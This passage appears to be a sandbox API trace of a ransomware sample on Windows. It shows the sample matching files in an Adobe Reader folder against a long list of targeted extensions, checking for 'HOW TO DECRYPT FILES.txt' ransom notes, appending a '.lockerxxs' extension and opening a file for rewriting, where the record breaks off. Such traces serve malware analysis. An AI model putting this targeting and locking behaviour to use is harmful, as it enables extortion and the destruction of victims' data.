Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbb") returned 0 [0069.999] lstrlenA (lpString="*.qbb") returned 5 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbm") returned 0 [0070.000] lstrlenA (lpString="*.qbm") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbo") returned 0 [0070.000] lstrlenA (lpString="*.qbo") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbx") returned 0 [0070.000] lstrlenA (lpString="*.qbx") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qba") returned 0 [0070.000] lstrlenA (lpString="*.qba") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qby") returned 0 [0070.000] lstrlenA (lpString="*.qby") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbj") returned 0 [0070.000] lstrlenA (lpString="*.qbj") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.ofx") returned 0 [0070.000] lstrlenA (lpString="*.ofx") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qif") returned 0 [0070.000] lstrlenA (lpString="*.qif") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mye") returned 0 [0070.000] lstrlenA (lpString="*.mye") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mbox") returned 0 [0070.000] lstrlenA (lpString="*.mbox") returned 6 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.eml") returned 0 [0070.000] lstrlenA (lpString="*.eml") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.pst") returned 0 [0070.000] lstrlenA (lpString="*.pst") returned 5 [0070.000] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.ost") returned 0 [0070.000] lstrlenA (lpString="*.ost") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.idx") returned 0 [0070.001] lstrlenA (lpString="*.idx") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.dbx") returned 0 [0070.001] lstrlenA (lpString="*.dbx") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.sql") returned 0 [0070.001] lstrlenA (lpString="*.sql") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mdb") returned 0 [0070.001] lstrlenA (lpString="*.mdb") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.fdb") returned 0 [0070.001] lstrlenA (lpString="*.fdb") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.wab") returned 0 [0070.001] lstrlenA (lpString="*.wab") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.dat") returned 0 [0070.001] lstrlenA (lpString="*.dat") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.txt") returned 0 [0070.001] lstrlenA (lpString="*.txt") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.001] lstrlenA (lpString="*.jpeg") returned 6 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.jpg") returned 0 [0070.001] lstrlenA (lpString="*.jpg") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.png") returned 0 [0070.001] lstrlenA (lpString="*.png") returned 5 [0070.001] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.php") returned 0 [0070.001] lstrlenA (lpString="*.php") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.cs") returned 0 [0070.002] lstrlenA (lpString="*.cs") returned 4 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.cpp") returned 0 [0070.002] lstrlenA (lpString="*.cpp") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.rar") returned 0 [0070.002] lstrlenA (lpString="*.rar") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.zip") returned 0 [0070.002] lstrlenA (lpString="*.zip") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.html") returned 0 [0070.002] lstrlenA (lpString="*.html") returned 6 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.htm") returned 0 [0070.002] lstrlenA (lpString="*.htm") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.002] lstrlenA (lpString="*.xlsx") returned 6 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.xls") returned 0 [0070.002] lstrlenA (lpString="*.xls") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mp4") returned 0 [0070.002] lstrlenA (lpString="*.mp4") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.ppt") returned 0 [0070.002] lstrlenA (lpString="*.ppt") returned 5 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.pptx") returned 0 [0070.002] lstrlenA (lpString="*.pptx") returned 6 [0070.002] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.doc") returned 0 [0070.002] lstrlenA (lpString="*.doc") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.dot") returned 0 [0070.003] lstrlenA (lpString="*.dot") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.docx") returned 0 [0070.003] lstrlenA (lpString="*.docx") returned 6 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.7z") returned 0 [0070.003] lstrlenA (lpString="*.7z") returned 4 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.tar") returned 0 [0070.003] lstrlenA (lpString="*.tar") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.bz2") returned 0 [0070.003] lstrlenA (lpString="*.bz2") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.gz") returned 0 [0070.003] lstrlenA (lpString="*.gz") returned 4 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mkv") returned 0 [0070.003] lstrlenA (lpString="*.mkv") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.eml") returned 0 [0070.003] lstrlenA (lpString="*.eml") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.msg") returned 0 [0070.003] lstrlenA (lpString="*.msg") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.edb") returned 0 [0070.003] lstrlenA (lpString="*.edb") returned 5 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.accdb") returned 0 [0070.003] lstrlenA (lpString="*.accdb") returned 7 [0070.003] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.odb") returned 0 [0070.003] lstrlenA (lpString="*.odb") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.java") returned 0 [0070.004] lstrlenA (lpString="*.java") returned 6 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.asm") returned 0 [0070.004] lstrlenA (lpString="*.asm") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.pfx") returned 0 [0070.004] lstrlenA (lpString="*.pfx") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.pem") returned 0 [0070.004] lstrlenA (lpString="*.pem") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.p12") returned 0 [0070.004] lstrlenA (lpString="*.p12") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.gpg") returned 0 [0070.004] lstrlenA (lpString="*.gpg") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.vsd") returned 0 [0070.004] lstrlenA (lpString="*.vsd") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.odg") returned 0 [0070.004] lstrlenA (lpString="*.odg") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.raw") returned 0 [0070.004] lstrlenA (lpString="*.raw") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.nef") returned 0 [0070.004] lstrlenA (lpString="*.nef") returned 5 [0070.004] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.svg") returned 0 [0070.005] lstrlenA (lpString="*.svg") returned 5 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.psd") returned 0 [0070.005] lstrlenA (lpString="*.psd") returned 5 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.vmx") returned 0 [0070.005] lstrlenA (lpString="*.vmx") returned 5 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.005] lstrlenA (lpString="*.vmdk") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.vdi") returned 0 [0070.005] lstrlenA (lpString="*.vdi") returned 5 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.lay6") returned 0 [0070.005] lstrlenA (lpString="*.lay6") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.005] lstrlenA (lpString="*.mpeg") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.djvu") returned 0 [0070.005] lstrlenA (lpString="*.djvu") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.tiff") returned 0 [0070.005] lstrlenA (lpString="*.tiff") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.backup") returned 0 [0070.005] lstrlenA (lpString="*.backup") returned 8 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.pdf") returned 0 [0070.005] lstrlenA (lpString="*.pdf") returned 5 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.cert") returned 0 [0070.005] lstrlenA (lpString="*.cert") returned 6 [0070.005] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.docm") returned 0 [0070.006] lstrlenA (lpString="*.docm") returned 6 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.006] lstrlenA (lpString="*.xlsm") returned 6 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.dwg") returned 0 [0070.006] lstrlenA (lpString="*.dwg") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.nd") returned 0 [0070.006] lstrlenA (lpString="*.nd") returned 4 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.tlg") returned 0 [0070.006] lstrlenA (lpString="*.tlg") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.lgb") returned 0 [0070.006] lstrlenA (lpString="*.lgb") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mov") returned 0 [0070.006] lstrlenA (lpString="*.mov") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.xdw") returned 0 [0070.006] lstrlenA (lpString="*.xdw") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.ods") returned 0 [0070.006] lstrlenA (lpString="*.ods") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.wav") returned 0 [0070.006] lstrlenA (lpString="*.wav") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.mp3") returned 0 [0070.006] lstrlenA (lpString="*.mp3") returned 5 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.aiff") returned 0 [0070.006] lstrlenA (lpString="*.aiff") returned 6 [0070.006] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.flac") returned 0 [0070.007] lstrlenA (lpString="*.flac") returned 6 [0070.007] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.m4a") returned 0 [0070.007] lstrlenA (lpString="*.m4a") returned 5 [0070.007] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.csv") returned 0 [0070.007] lstrlenA (lpString="*.csv") returned 5 [0070.007] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.007] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.007] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.007] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.007] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.007] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini") returned="eula.ini" [0070.007] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" [0070.007] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="" [0070.007] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt" [0070.007] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\how to decrypt files.txt")) returned 0x20 [0070.007] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" [0070.007] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.ems") returned 0 [0070.008] lstrlenA (lpString="*.ems") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.db") returned 0 [0070.008] lstrlenA (lpString="*.db") returned 4 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.dbf") returned 0 [0070.008] lstrlenA (lpString="*.dbf") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.myox") returned 0 [0070.008] lstrlenA (lpString="*.myox") returned 6 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.myo") returned 0 [0070.008] lstrlenA (lpString="*.myo") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbw") returned 0 [0070.008] lstrlenA (lpString="*.qbw") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbb") returned 0 [0070.008] lstrlenA (lpString="*.qbb") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbm") returned 0 [0070.008] lstrlenA (lpString="*.qbm") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbo") returned 0 [0070.008] lstrlenA (lpString="*.qbo") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbx") returned 0 [0070.008] lstrlenA (lpString="*.qbx") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qba") returned 0 [0070.008] lstrlenA (lpString="*.qba") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qby") returned 0 [0070.008] lstrlenA (lpString="*.qby") returned 5 [0070.008] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qbj") returned 0 [0070.009] lstrlenA (lpString="*.qbj") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.ofx") returned 0 [0070.009] lstrlenA (lpString="*.ofx") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.qif") returned 0 [0070.009] lstrlenA (lpString="*.qif") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.mye") returned 0 [0070.009] lstrlenA (lpString="*.mye") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.mbox") returned 0 [0070.009] lstrlenA (lpString="*.mbox") returned 6 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.eml") returned 0 [0070.009] lstrlenA (lpString="*.eml") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.pst") returned 0 [0070.009] lstrlenA (lpString="*.pst") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.ost") returned 0 [0070.009] lstrlenA (lpString="*.ost") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.idx") returned 0 [0070.009] lstrlenA (lpString="*.idx") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.dbx") returned 0 [0070.009] lstrlenA (lpString="*.dbx") returned 5 [0070.009] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", pszSpec="*.sql") returned 0 [0070.009] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" [0070.009] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" [0070.009] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html." [0070.010] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.lockerxxs" [0070.010] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 